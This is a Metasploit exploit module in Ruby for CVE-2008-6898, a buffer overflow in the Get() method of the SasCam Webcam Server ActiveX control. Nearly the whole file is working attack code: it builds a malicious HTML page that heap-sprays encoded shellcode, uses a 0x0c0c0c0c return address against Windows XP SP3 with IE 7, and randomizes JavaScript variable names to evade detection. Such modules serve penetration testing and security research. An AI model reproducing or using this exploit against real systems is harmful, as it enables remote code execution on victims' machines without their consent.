##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow',
      'Description'    => %q{
        The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow.
        By passing an overly long argument via the Get method, a remote attacker could
        overflow a buffer and execute arbitrary code on the system with the privileges
        of the user. This control is not marked safe for scripting, please choose your
        attack vector carefully.
        },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],
      'References'     =>
        [
          [ 'CVE', '2008-6898' ],
          [ 'OSVDB', '55945'],
          [ 'BID','33053' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
        ],
      'DisclosureDate' => 'Dec 29 2008',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.html']),
      ], self.class)
  end

  def exploit

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    content = %Q|<html>
<object id='#{vname}' classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 8293; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.Get(#{rand8});
</script>
</html>
|

    # create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(content)

  end

end
